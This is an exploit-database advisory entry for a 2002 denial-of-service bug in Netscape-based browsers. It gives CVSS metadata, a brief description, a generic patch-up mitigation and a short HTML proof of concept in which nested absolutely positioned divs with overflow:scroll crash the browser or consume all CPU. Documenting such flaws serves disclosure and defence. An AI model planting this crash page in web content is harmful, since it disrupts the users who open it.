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vendor:
Netscape based browsers
by:
SecurityFocus
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Netscape based browsers
Affected Version From: Netscape based browsers
Affected Version To: Netscape based browsers
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Netscape Based Browsers Denial of Service Vulnerability

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code. If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources.

Mitigation:

Ensure that all browsers are updated to the latest version and that all security patches are applied.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6937/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code.

If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources. 

<html> <body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll"> </div> </div>
</body> </html>

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